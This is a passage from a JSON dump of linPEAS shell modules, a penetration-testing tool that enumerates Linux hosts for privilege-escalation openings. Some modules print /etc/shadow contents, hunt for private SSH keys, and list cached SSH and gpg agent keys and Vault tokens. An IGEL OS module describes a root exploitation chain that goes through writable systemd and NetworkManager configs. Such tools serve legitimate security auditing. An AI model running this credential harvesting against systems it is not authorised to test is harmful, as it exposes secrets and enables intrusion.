    "content": "# Title: Software Information - Splunk\n# ID: SI_Splunk\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: passwd files (splunk)\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $SPLUNK_BIN\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nSPLUNK_BIN=\"$(command -v splunk 2>/dev/null || echo -n '')\"\nif [ \"$PSTORAGE_SPLUNK\" ] || [ \"$SPLUNK_BIN\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching uncommon passwd files (splunk)\" \"T1552.001\"\n  if [ \"$SPLUNK_BIN\" ]; then echo \"splunk binary was found installed on $SPLUNK_BIN\" | sed \"s,.*,${SED_RED},\"; fi\n  printf \"%s\\n\" \"$PSTORAGE_SPLUNK\" | grep -v \".htpasswd\" | sort | uniq | while read f; do\n    if [ -f \"$f\" ] && ! [ -x \"$f\" ]; then\n      echo \"passwd file: $f\" | sed \"s,$f,${SED_RED},\"\n      cat \"$f\" 2>/dev/null | grep \"'pass'|'password'|'user'|'database'|'host'|\\$\" | sed -${E} \"s,password|pass|user|database|host|\\$,${SED_RED},\"\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh",
    "content": "# Title: Software Information - ssh files\n# ID: SI_Ssh\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching ssl/ssh files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.004,T1021.004\n# Functions Used: print_2title, print_3title\n# Global Variables: $HOME, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER, $TIMEOUT, $USER, $wgroups\n# Initial Functions:\n# Generated Global Variables: $certsb4_grep, $hostsallow, $hostsdenied, $sshconfig, $writable_agents, $agent_sockets, $privatekeyfilesetc, $privatekeyfileshome, $privatekeyfilesroot, $privatekeyfilesmnt,\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Searching ssl/ssh files\" \"T1552.004,T1021.004\"\nif [ \"$PSTORAGE_CERTSB4\" ]; then certsb4_grep=$(grep -L \"\\\"\\|'\\|(\" $PSTORAGE_CERTSB4 2>/dev/null); fi\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  sshconfig=\"$(ls /etc/ssh/ssh_config 2>/dev/null)\"\n  hostsdenied=\"$(ls /etc/hosts.denied 2>/dev/null)\"\n  hostsallow=\"$(ls /etc/hosts.allow 2>/dev/null)\"\n  agent_sockets=$(find /run/user /tmp -type s \\( -path \"/run/user/*/ssh-*/agent.*\" -o -name \"ssh-agent.sock\" -o -path \"/tmp/ssh-*\" \\) 2>/dev/null)\n  writable_agents=$(find /tmp /etc /home /run/user \\\n    \\( -type s -a \\( -name \"agent.*\" -o -name \"ssh-agent.sock\" -o -path \"*/ssh-*/agent.*\" -o -name \"*gpg-agent*\" \\) \\\n    -a \\( \\( -user \"$USER\" \\) -o \\( -perm -o=w \\) -o \\( -perm -g=w -a \\( $wgroups \\) \\) \\) \\) 2>/dev/null)\nelse\n  sshconfig=\"$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)\"\n  hostsdenied=\"$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)\"\n  hostsallow=\"$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)\"\n  agent_sockets=$(find \"${ROOT_FOLDER}\"tmp \"${ROOT_FOLDER}\"run -type s \\( -name \"agent.*\" -o -name \"ssh-agent.sock\" \\) 2>/dev/null)\n  writable_agents=$(find \"${ROOT_FOLDER}\" \\\n    \\( -type s -a \\( -name \"agent.*\" -o -name \"ssh-agent.sock\" -o -path \"*/ssh-*/agent.*\" -o -name \"*gpg-agent*\" \\) \\\n    -a \\( \\( -user \"$USER\" \\) -o \\( -perm -o=w \\) -o \\( -perm -g=w -a \\( $wgroups \\) \\) \\) \\) 2>/dev/null)\nfi\n\npeass{SSH}\n\ngrep \"PermitRootLogin \\|ChallengeResponseAuthentication \\|PasswordAuthentication \\|UsePAM \\|Port\\|PermitEmptyPasswords\\|PubkeyAuthentication\\|ListenAddress\\|ForwardAgent\\|AllowAgentForwarding\\|AuthorizedKeysFile\" /etc/ssh/sshd_config 2>/dev/null | grep -v \"#\" | sed -${E} \"s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},\"\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ \"$TIMEOUT\" ]; then\n    privatekeyfilesetc=$(timeout 40 grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' /etc 2>/dev/null)\n    privatekeyfileshome=$(timeout 40 grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' $HOMESEARCH 2>/dev/null)\n    privatekeyfilesroot=$(timeout 40 grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' /root 2>/dev/null)\n    privatekeyfilesmnt=$(timeout 40 grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' /mnt 2>/dev/null)\n  else\n    privatekeyfilesetc=$(grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout\n    privatekeyfileshome=$(grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' $HOME/.ssh 2>/dev/null)\n  fi\nelse\n  # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware\n  privatekeyfilesetc=$(timeout 120 grep -rl '\\-\\-\\-\\-\\-BEGIN .* PRIVATE KEY\\-\\-\\-\\-\\-' \"$ROOT_FOLDER\" 2>/dev/null)\nfi\n\nif [ \"$privatekeyfilesetc\" ] || [ \"$privatekeyfileshome\" ] || [ \"$privatekeyfilesroot\" ] || [ \"$privatekeyfilesmnt\" ] ; then\n  echo \"\"\n  print_3title \"Possible private SSH keys were found!\" | sed -${E} \"s,private SSH keys,${SED_RED},\"\n  if [ \"$privatekeyfilesetc\" ]; then printf \"$privatekeyfilesetc\\n\" | sed -${E} \"s,.*,${SED_RED},\"; fi\n  if [ \"$privatekeyfileshome\" ]; then printf \"$privatekeyfileshome\\n\" | sed -${E} \"s,.*,${SED_RED},\"; fi\n  if [ \"$privatekeyfilesroot\" ]; then printf \"$privatekeyfilesroot\\n\" | sed -${E} \"s,.*,${SED_RED},\"; fi\n  if [ \"$privatekeyfilesmnt\" ]; then printf \"$privatekeyfilesmnt\\n\" | sed -${E} \"s,.*,${SED_RED},\"; fi\n  echo \"\"\nfi\nif [ \"$certsb4_grep\" ] || [ \"$PSTORAGE_CERTSBIN\" ]; then\n  print_3title \"Some certificates were found (out limited):\" \"T1552.004,T1021.004\"\n  printf \"$certsb4_grep\\n\" | head -n 20\n  printf \"$PSTORAGE_CERTSBIN\\n\" | head -n 20\n    echo \"\"\nfi\nif [ \"$PSTORAGE_CERTSCLIENT\" ]; then\n  print_3title \"Some client certificates were found:\" \"T1552.004,T1021.004\"\n  printf \"$PSTORAGE_CERTSCLIENT\\n\"\n  echo \"\"\nfi\nif [ \"$PSTORAGE_SSH_AGENTS\" ]; then\n  print_3title \"Some SSH Agent files were found:\" \"T1552.004,T1021.004\"\n  printf \"$PSTORAGE_SSH_AGENTS\\n\"\n  echo \"\"\nfi\nif [ \"$agent_sockets\" ]; then\n  print_3title \"Potential SSH agent sockets were found:\" \"T1552.004,T1021.004\"\n  printf \"%s\\n\" \"$agent_sockets\" | sed -${E} \"s,.*,${SED_RED},\"\n  echo \"\"\nfi\nif ssh-add -l 2>/dev/null | grep -qv 'no identities'; then\n  print_3title \"Listing SSH Agents\" \"T1552.004,T1021.004\"\n  ssh-add -l\n  echo \"\"\nfi\nif gpg-connect-agent \"keyinfo --list\" /bye 2>/dev/null | grep \"D - - 1\"; then\n  print_3title \"Listing gpg keys cached in gpg-agent\" \"T1552.004,T1021.004\"\n  gpg-connect-agent \"keyinfo --list\" /bye\n  echo \"\"\nfi\nif [ \"$writable_agents\" ]; then\n  print_3title \"Writable ssh and gpg agents\" \"T1552.004,T1021.004\"\n  printf \"%s\\n\" \"$writable_agents\"\nfi\nif [ \"$PSTORAGE_SSH_CONFIG\" ]; then\n  print_3title \"Some home ssh config file was found\" \"T1552.004,T1021.004\"\n  printf \"%s\\n\" \"$PSTORAGE_SSH_CONFIG\" | while read f; do ls \"$f\" | sed -${E} \"s,$f,${SED_RED},\"; cat \"$f\" 2>/dev/null | grep -Iv \"^$\" | grep -v \"^#\" | sed -${E} \"s,User|ProxyCommand,${SED_RED},\"; done\n  echo \"\"\nfi\nif [ \"$hostsdenied\" ]; then\n  print_3title \"/etc/hosts.denied file found, read the rules:\" \"T1552.004,T1021.004\"\n  printf \"$hostsdenied\\n\"\n  cat \" ${ROOT_FOLDER}etc/hosts.denied\" 2>/dev/null | grep -v \"#\" | grep -Iv \"^$\" | sed -${E} \"s,.*,${SED_GREEN},\"\n  echo \"\"\nfi\nif [ \"$hostsallow\" ]; then\n  print_3title \"/etc/hosts.allow file found, trying to read the rules:\" \"T1552.004,T1021.004\"\n  printf \"$hostsallow\\n\"\n  cat \" ${ROOT_FOLDER}etc/hosts.allow\" 2>/dev/null | grep -v \"#\" | grep -Iv \"^$\" | sed -${E} \"s,.*,${SED_RED},\"\n  echo \"\"\nfi\nif [ \"$sshconfig\" ]; then\n  echo \"\"\n  echo \"Searching inside /etc/ssh/ssh_config for interesting info\"\n  grep -v \"^#\"  ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev \"\\W+\\#|^#\" 2>/dev/null | grep -Iv \"^$\" | sed -${E} \"s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},\"\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh",
    "content": "# Title: Software Information - Tmux\n# ID: SI_Tmux\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Enumerate Tmux\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1563\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $SEARCH_IN_FOLDER, $wgroups\n# Initial Functions:\n# Generated Global Variables: $tmuxdefsess, $tmuxnondefsess, $tmuxsess2\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ntmuxdefsess=$(tmux ls 2>/dev/null)\ntmuxnondefsess=$(ps auxwww | grep \"tmux \" | grep -v grep)\ntmuxsess2=$(find /tmp -type d -path \"/tmp/tmux-*\" 2>/dev/null)\nif ([ \"$tmuxdefsess\" ] || [ \"$tmuxnondefsess\" ] || [ \"$tmuxsess2\" ] || [ \"$DEBUG\" ]) && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Searching tmux sessions\"$N\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions\"\n  tmux -V\n  printf \"$tmuxdefsess\\n$tmuxnondefsess\\n$tmuxsess2\" | sed -${E} \"s,.*,${SED_RED},\" | sed -${E} \"s,no server running on.*,${C}[32m&${C}[0m,\"\n\n  find /tmp -type s -path \"/tmp/tmux*\" -not -user $USER '(' '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do\n    echo \"Other user tmux socket is writable: $f\" | sed \"s,$f,${SED_RED_YELLOW},\"\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh",
    "content": "# Title: Software Information - Vault-ssh\n# ID: SI_Vault_ssh\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching Vault-ssh files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.004\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_VAULT_SSH_HELPER\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching Vault-ssh files\" \"T1552.004\"\n  printf \"$PSTORAGE_VAULT_SSH_HELPER\\n\"\n  printf \"%s\\n\" \"$PSTORAGE_VAULT_SSH_HELPER\" | while read f; do cat \"$f\" 2>/dev/null; vault-ssh-helper -verify-only -config \"$f\" 2>/dev/null; done\n  echo \"\"\n  vault secrets list 2>/dev/null\n  printf \"%s\\n\" \"$PSTORAGE_VAULT_SSH_TOKEN\" | sed -${E} \"s,.*,${SED_RED},\" 2>/dev/null\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh",
    "content": "# Title: Software Information - YubiKey athentication\n# ID: SI_YubiKey\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: YubiKey athentication\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1556\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $IAMROOT\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif (grep \"auth=\" /etc/login.conf 2>/dev/null | grep -v \"^#\" | grep -q yubikey) || [ \"$DEBUG\" ]; then\n  print_2title \"YubiKey authentication\" \"T1556\"\n  printf \"System supports$RED YubiKey authentication\\n\"\n  if ! [ \"$IAMROOT\" ] && [ -w /var/db/yubikey/ ]; then\n    echo \"${RED}/var/db/yubikey/ is writable by you\"\n    ls -ld /var/db/yubikey/\n  else\n    ls -ld /var/db/yubikey/ 2>/dev/null\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh",
    "content": "# Title: Interesting Permissions Files - Read creds files\n# ID: IP_Read_creds_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Hashes in passwd file, shadow files and other files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_no, print_list\n# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $USER, $wgroups\n# Initial Functions:\n# Generated Global Variables: $possible_check\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n##-- IPF) Hashes in passwd file\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_list \"Hashes inside passwd file? ........... \"\n  if grep -qv '^[^:]*:[x\\*\\!]\\|^#\\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\\*]\\|^#\\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  ##-- IPF) Writable in passwd file\n  print_list \"Writable passwd file? ................ \"\n  if [ -w \"/etc/passwd\" ]; then echo \"/etc/passwd is writable\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  elif [ -w \"/etc/pwd.db\" ]; then echo \"/etc/pwd.db is writable\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  elif [ -w \"/etc/master.passwd\" ]; then echo \"/etc/master.passwd is writable\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  else echo_no\n  fi\n\n  ##-- IPF) Credentials in fstab\n  print_list \"Credentials in fstab/mtab? ........... \"\n  if grep -qE \"(user|username|login|pass|password|pw|credentials)[=:]\" /etc/fstab /etc/mtab 2>/dev/null; then grep -E \"(user|username|login|pass|password|pw|credentials)[=:]\" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  ##-- IPF) Read shadow files\n  print_list \"Can I read shadow files? ............. \"\n  if [ \"$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)\" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} \"s,.*,${SED_RED},\"\n  else echo_no\n  fi\n\n  print_list \"Can I read shadow plists? ............ \"\n  possible_check=\"\"\n  (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r \"$l\" ];then echo \"$l\"; defaults read \"$l\"; possible_check=\"1\"; fi; done; if ! [ \"$possible_check\" ]; then echo_no; fi) 2>/dev/null || echo_no\n\n  print_list \"Can I write shadow plists? ........... \"\n  possible_check=\"\"\n  (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w \"$l\" ];then echo \"$l\"; possible_check=\"1\"; fi; done; if ! [ \"$possible_check\" ]; then echo_no; fi) 2>/dev/null || echo_no\n\n  ##-- IPF) Read opasswd file\n  print_list \"Can I read opasswd file? ............. \"\n  if [ -r \"/etc/security/opasswd\" ]; then cat /etc/security/opasswd 2>/dev/null || echo \"\"\n  else echo_no\n  fi\n\n  ##-- IPF) network-scripts\n  print_list \"Can I write in network-scripts? ...... \"\n  if ! [ \"$IAMROOT\" ] && [ -w \"/etc/sysconfig/network-scripts/\" ]; then echo \"You have write privileges on /etc/sysconfig/network-scripts/\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  elif [ \"$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)\" ]; then echo \"You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or  '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  else echo_no\n  fi\n\n  ##-- IPF) Read root dir\n  print_list \"Can I read root folder? .............. \"\n  (ls -al /root/ 2>/dev/null | grep -vi \"total 0\") || echo_no\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh",
    "content": "# Title: Interesting Permissions Files - Root files in home dirs\n# ID: IP_Root_files_home_dir\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching root files in home dirs\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Searching root files in home dirs (limit 30)\" \"T1083\"\n  (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_RED},g\") || echo_not_found\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh",
    "content": "# Title: Interesting Permissions Files - Others files in my dirs\n# ID: IP_Others_files_in_my_dirs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching folders owned by me containing others files on it\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title\n# Global Variables: $IAMROOT, $knw_usrs, $nosh_usrs, $ROOT_FOLDER, $sh_usrs ,$USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$IAMROOT\" ]; then\n  print_2title \"Searching folders owned by me containing others files on it (limit 100)\" \"T1083\"\n  (find $ROOT_FOLDER -type d -user \"$USER\" ! -path \"/proc/*\" ! -path \"/sys/*\" 2>/dev/null | head -n 100 | while read d; do find \"$d\" -maxdepth 1 ! -user \"$USER\" \\( -type f -or -type d \\) -exec ls -l {} \\; 2>/dev/null; done) | sort | uniq | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed \"s,root,${C}[1;13m&${C}[0m,g\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh",
    "content": "# Title: Interesting Permissions Files - Root readable files not world readable\n# ID: IP_Root_readable_files_notworld_readeble\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Readable files belonging to root and readable by me but not world readable\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $IAMROOT, $ROOT_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$IAMROOT\" ]; then\n  print_2title \"Readable files belonging to root and readable by me but not world readable\" \"T1083\"\n  (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path \"/proc/*\" 2>/dev/null | grep -v \"\\.journal\" | while read f; do if [ -r \"$f\" ]; then ls -l \"$f\" 2>/dev/null | sed -${E} \"s,/.*,${SED_RED},\"; fi; done) || echo_not_found\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh",
    "content": "# Title: Interesting Permissions Files - Writable files by ownership or all\n# ID: IP_Writable_files_owner_all\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Interesting writable files owned by me or writable by everyone (not in Home)\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574.009,T1574.010\n# Functions Used: print_2title, print_info\n# Global Variables: $HOME, $IAMROOT, $ITALIC, $notExtensions, $ROOT_FOLDER, $USER, $writeVB, $writeB\n# Initial Functions:\n# Generated Global Variables: $obmowbe\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$IAMROOT\" ]; then\n  print_2title \"Interesting writable files owned by me or writable by everyone (not in Home) (max 200)\" \"T1574.009,T1574.010\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files\"\n  #In the next file, you need to specify type \"d\" and \"f\" to avoid fake link files apparently writable by all\n  obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"/dev/*\" ! -path \"/snap/*\" ! -path \"$HOME/*\" 2>/dev/null | grep -Ev \"$notExtensions\" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=\"\"; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == \"5\"){print \"#)You_can_write_even_more_files_inside_last_directory\\n\"}; pre=act }' | head -n 200)\n  printf \"%s\\n\" \"$obmowbe\" | while read l; do\n    if echo \"$l\" | grep -q \"You_can_write_even_more_files_inside_last_directory\"; then printf $ITALIC\"$l\\n\"$NC;\n    elif echo \"$l\" | grep -qE \"$writeVB\"; then\n      echo \"$l\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},\"\n    else\n      echo \"$l\" | sed -${E} \"s,$writeB,${SED_RED},\"\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh",
    "content": "# Title: Interesting Permissions Files - Interesting writable files by group\n# ID: IP_Writable_files_group\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Interesting GROUP writable files (not in Home)\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574.009,T1574.010\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $HOME, $IAMROOT, $notExtensions, $ROOT_FOLDER, $writeVB, $writeB\n# Initial Functions:\n# Generated Global Variables: $iwfbg\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$IAMROOT\" ]; then\n  print_2title \"Interesting GROUP writable files (not in Home) (max 200)\" \"T1574.009,T1574.010\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files\"\n  for g in $(groups); do\n    iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path \"/proc/*\" ! -path \"/sys/*\" ! -path \"$HOME/*\" 2>/dev/null | grep -Ev \"$notExtensions\" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=\"\"; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == \"5\"){print \"#)You_can_write_even_more_files_inside_last_directory\\n\"}; pre=act }' | head -n 200)\n    if [ \"$iwfbg\" ] || [ \"$DEBUG\" ]; then\n      printf \"  Group $GREEN$g:\\n$NC\";\n      printf \"%s\\n\" \"$iwfbg\" | while read l; do\n        if echo \"$l\" | grep -q \"You_can_write_even_more_files_inside_last_directory\"; then printf $ITALIC\"$l\\n\"$NC;\n        elif echo \"$l\" | grep -Eq \"$writeVB\"; then\n          echo \"$l\" | sed -${E} \"s,$writeVB,${SED_RED_YELLOW},\"\n        else\n          echo \"$l\" | sed -${E} \"s,$writeB,${SED_RED},\"\n        fi\n      done\n    fi\n  done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_IGEL_OS_SUID.sh",
    "content": "# Title: Interesting Permissions Files - IGEL OS SUID setup/date abuse\n# ID: IP_IGEL_OS_SUID\n# Author: HT Bot\n# Last Update: 29-11-2025\n# Description: Detect IGEL OS environments that expose the SUID-root `setup`/`date` binaries and highlight writable NetworkManager/systemd configs that enable the documented privilege escalation chain (Metasploit linux/local/igel_network_priv_esc).\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.001\n# Functions Used: print_2title, print_info\n# Global Variables: $ITALIC, $NC, $SED_GREEN, $SED_RED, $SED_RED_YELLOW, $SUPERFAST\n# Initial Functions:\n# Generated Global Variables: $igel_markers, $igel_marker_sources, $marker, $igel_suid_hits, $candidate, $writable_nm, $writable_systemd, $unitdir, $tmp_units\n# Fat linpeas: 0\n# Small linpeas: 1\n\nigel_markers=\"\"\nigel_marker_sources=\"\"\nif [ -f /etc/os-release ] && grep -qi \"igel\" /etc/os-release 2>/dev/null; then\n  igel_markers=\"Yes\"\n  igel_marker_sources=\"/etc/os-release\"\nfi\nif [ -f /etc/issue ] && grep -qi \"igel\" /etc/issue 2>/dev/null; then\n  igel_markers=\"Yes\"\n  igel_marker_sources=\"${igel_marker_sources} /etc/issue\"\nfi\nfor marker in /etc/igel /wfs/igel /userhome/.igel /config/sessions/igel; do\n  if [ -e \"$marker\" ]; then\n    igel_markers=\"Yes\"\n    igel_marker_sources=\"${igel_marker_sources} $marker\"\n  fi\ndone\n\nigel_suid_hits=\"\"\nfor candidate in /usr/bin/setup /bin/setup /usr/sbin/setup /opt/igel/bin/setup /usr/bin/date /bin/date /usr/lib/igel/date; do\n  if [ -u \"$candidate\" ]; then\n    igel_suid_hits=\"${igel_suid_hits}$(ls -lah \"$candidate\" 2>/dev/null)\\n\"\n  fi\ndone\n\nif [ -n \"$igel_markers\" ] || [ -n \"$igel_suid_hits\" ]; then\n  print_2title \"IGEL OS SUID setup/date privilege escalation surface\" \"T1548.001\"\n  print_info \"https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025\"\n  if [ -n \"$igel_markers\" ]; then\n    echo \"Potential IGEL OS detected via: $igel_marker_sources\" | sed -${E} \"s,.*,${SED_GREEN},\"\n  else\n    echo \"IGEL-specific SUID helpers found but IGEL markers were not detected\" | sed -${E} \"s,.*,${SED_RED},\"\n  fi\n  if [ -n \"$igel_suid_hits\" ]; then\n    echo \"SUID-root helpers exposing configuration primitives:\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    printf \"%b\" \"$igel_suid_hits\"\n  else\n    echo \"No SUID setup/date binaries were located (system may be patched).\"\n  fi\n\n  writable_nm=\"\"\n  writable_systemd=\"\"\n  if ! [ \"$SUPERFAST\" ]; then\n    if [ -d /etc/NetworkManager ]; then\n      writable_nm=$(find /etc/NetworkManager -maxdepth 3 -type f -writable 2>/dev/null | head -n 25)\n    fi\n    for unitdir in /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system; do\n      if [ -d \"$unitdir\" ]; then\n        tmp_units=$(find \"$unitdir\" -maxdepth 2 -type f -writable 2>/dev/null | head -n 15)\n        if [ -n \"$tmp_units\" ]; then\n          writable_systemd=\"${writable_systemd}${tmp_units}\\n\"\n        fi\n      fi\n    done\n  fi\n\n  if [ -n \"$writable_nm\" ]; then\n    echo \"Writable NetworkManager profiles/hooks (swap Exec path to your payload):\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    echo \"$writable_nm\"\n  fi\n  if [ -n \"$writable_systemd\" ]; then\n    echo \"Writable systemd unit files (edit ExecStart, then restart via setup/date):\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    printf \"%b\" \"$writable_systemd\"\n  fi\n  printf \"$ITALIC  Known exploitation chain: Use the SUID setup/date binaries to edit NetworkManager or systemd configs so ExecStart points to your payload, then trigger a service restart via the same helper to run as root (Metasploit linux/local/igel_network_priv_esc).$NC\\n\"\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh",
